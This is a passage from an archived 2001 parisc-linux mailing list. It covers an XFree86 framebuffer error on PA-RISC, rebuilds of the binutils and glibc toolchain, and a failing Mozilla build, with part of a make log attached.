ZS9hc20tcGFyaXNjL2lycS5oCTIwMDEvMDcvMTUgMjA6MDI6MDcJMS4xNAorKysgaW5jbHVk
ZS9hc20tcGFyaXNjL2lycS5oCTIwMDEvMTEvMDMgMjM6MTM6MDIKQEAgLTY5LDcgKzY5LDcg
QEAgZXh0ZXJuIHN0cnVjdCBpcnFfcmVnaW9uICppcnFfcmVnaW9uW05SXwogCiBzdGF0aWMg
X19pbmxpbmVfXyBpbnQgaXJxX2Nhbm5vbmljYWxpemUoaW50IGlycSkKIHsKLQlyZXR1cm4g
aXJxOworICAgcmV0dXJuIChpcnE9PTI/OTppcnEpOwogfQogCiBleHRlcm4gdm9pZCBkaXNh
YmxlX2lycShpbnQpOwo=

--AWniW0JNca5xppdA--



From - Thu Nov 08 21:20:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Old but open problem of Xfree on 2.4.9-pa75
Date: Sun, 04 Nov 2001 01:20:59 +0100
Organization: private
Lines: 37
Approved: news@gmane.org
Message-ID: <3BE489EB.CBD535AD@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620701 29089 80.91.229.3 (22 Nov 2014 01:45:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:01 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  3 17:21:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9BFF6482D
	for <parisc-linux@lists.parisc-linux.org>; Sat,  3 Nov 2001 17:21:05 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep14-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20011104002103.SZGP9391.viefep14-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 4 Nov 2001 01:21:03 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12883

Hello !

Starting current Xfree-4.1.0.1 the system reports the already described

FBIOPUT_VSCREENINFO: Invalid argument

(a message not written into the log file !!)

This message is written after 

(**) FBDev(0): Using "Shadow Frambuffer"

The resulting reaction is the fatal error with an abort.


What is the reason for that ? 
By the way, the server also reports not having
the PCI stuff, which is perhaps not compiled in my kernel, but that
seems not
to be the problem here.

How can this can be solved. My config uses 8 bbp, the STI console driver
inside
the kernel also reports 1280x1024-8 ! So this should run ....

Please help

Christoph P.


-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:20:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa binutils/glibc updates
Date: Sat, 3 Nov 2001 23:33:52 -0800
Lines: 38
Approved: news@gmane.org
Message-ID: <20011103233352.F505@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620701 29116 80.91.229.3 (22 Nov 2014 01:45:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:01 +0000 (UTC)
Cc: bcollins@debian.org, chris@debian.org
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 00:34:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8E5DD482B
	for <parisc-linux@parisc-linux.org>; Sun,  4 Nov 2001 00:33:59 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id xbiniaaa for parisc-linux@parisc-linux.org; Sun, 4 Nov 2001 00:28:58 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 160Hmy-0003Mj-00; Sat, 03 Nov 2001 23:33:52 -0800
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12884

Some good news, I hope....

With latest patches from Alan Modra, things seem to be looking better.
Here's what I've tried:

In a chroot built with debootstrap plus build-essential:
- Rebuild binutils from sourceware cvs
- Using new binutils, rebuild glibc (2.2.4-5) with am's latest patch

With these bits installed, the following were tested:
- build and install wget (just a simple sanity test)
- install and run libgtk1.2 and gkrellm
- recompile and run python1.5 and apache

all these seem to be ok now. Before recompiling, things like python will
die with a SIGILL

I've made a list of all the packages that got uploaded between around
Oct 15 till now. All these need to be recompiled and binary-NMU's need to
be made. James/LaMont/Bdale/myself/etc can do these fairly easily with
sbuild after new binutils and glibc bits are uploaded. Hopefully we can also
restart the buildd after that.

Chris/Ben: can you let us know when we can expect new binutils/glibc?
I'll forward the glibc patch to Ben separately.

If you can think of anything else that we should try to make sure
everything works, please let us know.

fingers crossed,
randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:20:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa binutils/glibc updates
Date: Sun, 4 Nov 2001 13:20:33 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <20011104132033.A23264@dogbert.localdomain>
References: <20011103233352.F505@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620702 29120 80.91.229.3 (22 Nov 2014 01:45:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 04:21:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B496482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Nov 2001 04:21:38 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 160LLE-00037m-00
	for parisc-linux@lists.parisc-linux.org; Sun, 04 Nov 2001 13:21:28 +0200
Original-Received: (qmail 22414 invoked from network); 4 Nov 2001 11:21:25 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 4 Nov 2001 11:21:25 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 160LKL-00063y-00; Sun, 04 Nov 2001 13:20:33 +0200
Content-Disposition: inline
In-Reply-To: <20011103233352.F505@tausq.org>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *160LLE-00037m-00*dYoOtLLSqTg* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12885

Hello,

Has gcc been fixed to produce "working" binaries for the 720 (and
perhaps other machines), with the aligned stuff being fixed.

Thanks for your hard work! :-)

Regards,

Albert



From - Thu Nov 08 21:20:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa binutils/glibc updates
Date: Sun, 4 Nov 2001 07:23:09 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20011104072309.H505@tausq.org>
References: <20011103233352.F505@tausq.org> <20011104132033.A23264@dogbert.localdomain>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620702 29126 80.91.229.3 (22 Nov 2014 01:45:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 08:23:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 456A0482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Nov 2001 08:23:15 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id ngpniaaa for parisc-linux@lists.parisc-linux.org; Sun, 4 Nov 2001 08:18:15 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 160P77-0004C1-00; Sun, 04 Nov 2001 07:23:09 -0800
Content-Disposition: inline
In-Reply-To: <20011104132033.A23264@dogbert.localdomain>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12886

> Has gcc been fixed to produce "working" binaries for the 720 (and
> perhaps other machines), with the aligned stuff being fixed.
> 
> Thanks for your hard work! :-)

Looks like the patch is in, but the new gcc hasn't yet been built
because of the toolchain issues. Once the official binutils is in the 
archive we can build the new gcc and see if that works....

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:20:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa binutils/glibc updates
Date: Sun, 4 Nov 2001 18:11:25 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20011104181125.A23450@dogbert.localdomain>
References: <20011103233352.F505@tausq.org> <20011104132033.A23264@dogbert.localdomain> <20011104072309.H505@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620702 29129 80.91.229.3 (22 Nov 2014 01:45:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:02 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 09:12:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E9A7482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Nov 2001 09:12:24 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 160Psh-0000U6-00
	for parisc-linux@lists.parisc-linux.org; Sun, 04 Nov 2001 18:12:19 +0200
Original-Received: (qmail 22625 invoked from network); 4 Nov 2001 16:12:17 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 4 Nov 2001 16:12:17 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 160Prp-00066Y-00; Sun, 04 Nov 2001 18:11:25 +0200
Content-Disposition: inline
In-Reply-To: <20011104072309.H505@tausq.org>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *160Psh-0000U6-00*J07ezPiZbmM* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12887

Hello,

On Sun, 04 Nov 2001, Randolph Chung wrote:

> > Has gcc been fixed to produce "working" binaries for the 720 (and
> > perhaps other machines), with the aligned stuff being fixed.
> > 
> > Thanks for your hard work! :-)
> 
> Looks like the patch is in, but the new gcc hasn't yet been built
> because of the toolchain issues. Once the official binutils is in the 
> archive we can build the new gcc and see if that works....

That's great to hear! Will someone be creating new xc tarball as well. 
or does this happen automagically? I need it to compile some test
binaries, as I assume it's going to take many weeks for all the Debian
packages to get recompiled? Or will this be unnessary in most cases?

Regards,

Albert



From - Thu Nov 08 21:20:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa binutils/glibc updates
Date: Sun, 4 Nov 2001 16:50:36 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20011104165036.A4441@parcelfarce.linux.theplanet.co.uk>
References: <20011103233352.F505@tausq.org> <20011104132033.A23264@dogbert.localdomain> <20011104072309.H505@tausq.org> <20011104181125.A23450@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620703 29132 80.91.229.3 (22 Nov 2014 01:45:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	Randolph Chung <randolph@tausq.org>
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 09:50:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE4CC482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Nov 2001 09:50:38 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 160QTk-0004ov-00; Sun, 04 Nov 2001 16:50:36 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011104181125.A23450@dogbert.localdomain>; from fullung@ilink.nis.za on Sun, Nov 04, 2001 at 06:11:25PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12888

On Sun, Nov 04, 2001 at 06:11:25PM +0200, Albert Strasheim wrote:
> That's great to hear! Will someone be creating new xc tarball as well. 
> or does this happen automagically? I need it to compile some test
> binaries, as I assume it's going to take many weeks for all the Debian
> packages to get recompiled? Or will this be unnessary in most cases?

i'm pretty sure the only thing which needs to get recompiled will be glibc.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Mozilla on parisc-linux fails
Date: Sun, 4 Nov 2001 19:32:27 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20011104193227.A1105@solo.franken.de>
References: <OE761L3gJcYPqd2rg2Q00007507@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620703 29134 80.91.229.3 (22 Nov 2014 01:45:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:03 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: kenneth westelinck <kennywest1@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 11:41:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from solo.franken.de (A6e48.pppool.de [213.6.110.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF895482B
	for <parisc-linux@parisc-linux.org>; Sun,  4 Nov 2001 11:41:41 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id fA4IWRu01108;
	Sun, 4 Nov 2001 19:32:27 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <OE761L3gJcYPqd2rg2Q00007507@hotmail.com>; from kennywest1@hotmail.com on Fri, Nov 02, 2001 at 12:17:07PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12889

On Fri, Nov 02, 2001 at 12:17:07PM +0100, kenneth westelinck wrote:
> So I downloaded the tar.gz archive, unpacked it and ran "./configure". My
> workstation appeared to pass all tests and I was ready to run a "make". In
> the first attached file (make.log.std) you can find the output of this
> command. Investigating the cause of the error brought me to the file
> "prcpucfg.h". "Unknown CPU architecture" the error says. Indeed, while
> browsing through that file I couldn't find anything near a "PARISC"
> architecture.

get the debian source package it contains some my first set of necessary
patches to compile mozilla under Linux/parisc. You will probably face
some binutils/gcc/glibc problems, which might even will give you
compile/link problems, but it's a better start than the plain tar.gz
file.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:20:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Mozilla on parisc-linux fails
Date: Sun, 4 Nov 2001 19:46:23 +0100
Lines: 785
Approved: news@gmane.org
Message-ID: <OE13GhAj5p1Fjxe0ymQ00007efc@hotmail.com>
References: <OE761L3gJcYPqd2rg2Q00007507@hotmail.com> <003101c163a9$48570590$56dc10c3@amos>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0017_01C16569.61E3B910"
X-Trace: ger.gmane.org 1416620703 29141 80.91.229.3 (22 Nov 2014 01:45:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:03 +0000 (UTC)
To: "Kaj-Michael Lang" <milang@tal.org>,
	<parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 11:47:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hotmail.com (oe13.law4.hotmail.com [216.33.148.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 493B2482B
	for <parisc-linux@parisc-linux.org>; Sun,  4 Nov 2001 11:47:52 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Sun, 4 Nov 2001 10:47:46 -0800
X-Originating-IP: [213.224.83.78]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 04 Nov 2001 18:47:46.0230 (UTC) FILETIME=[31A64D60:01C16561]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12890

This is a multi-part message in MIME format.

------=_NextPart_000_0017_01C16569.61E3B910
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Nope, same error (see the attached file). Any other ideas?

----- Original Message -----
From: "Kaj-Michael Lang" <milang@tal.org>
To: "kenneth westelinck" <kennywest1@hotmail.com>;
<parisc-linux@parisc-linux.org>
Sent: Friday, November 02, 2001 3:18 PM
Subject: Re: [parisc-linux] Compiling Mozilla on parisc-linux fails


> > "./configure --build=hppa-hpux --host=hppa-hpux". Again I passed the
test
> so
>
> Try:
>
> ./configure --build=hppa-linux --host=hppa-linux
>
> Works with a bunch of software that won't recogonice "parisc"
>
> --
> Kaj-Michael Lang , milang@tal.org
>
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>

------=_NextPart_000_0017_01C16569.61E3B910
Content-Type: application/octet-stream;
	name="make.log.hppa-linux"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="make.log.hppa-linux"

make[1]: Entering directory `/usr/local/src/mozilla/config'=0A=
nsinstall.c=0A=
gcc -o nsinstall.o -c -DOSTYPE=3D\"Linux2.4\" -DOSARCH=3D\"Linux\" =
-DMOZ_REFLOW_PERF -DMOZ_REFLOW_PERF_DSP -DOJI -D_BSD_SOURCE   =
-I../dist/include -I../dist/include =
-I/usr/local/src/mozilla/dist/include/nspr      -I/usr/X11R6/include   =
-fPIC -I/usr/X11R6/include -Wall -W -Wno-unused -Wpointer-arith =
-Wcast-align -pedantic -Wno-long-long -pipe -fshort-wchar  -DDEBUG =
-DDEBUG_root -DTRACING -g -I/usr/X11R6/include -include ../config-defs.h =
-DMOZILLA_CLIENT -Wp,-MD,.deps/nsinstall.pp nsinstall.c=0A=
pathsub.c=0A=
gcc -o pathsub.o -c -DOSTYPE=3D\"Linux2.4\" -DOSARCH=3D\"Linux\" =
-DMOZ_REFLOW_PERF -DMOZ_REFLOW_PERF_DSP -DOJI -D_BSD_SOURCE   =
-I../dist/include -I../dist/include =
-I/usr/local/src/mozilla/dist/include/nspr      -I/usr/X11R6/include   =
-fPIC -I/usr/X11R6/include -Wall -W -Wno-unused -Wpointer-arith =
-Wcast-align -pedantic -Wno-long-long -pipe -fshort-wchar  -DDEBUG =
-DDEBUG_root -DTRACING -g -I/usr/X11R6/include -include ../config-defs.h =
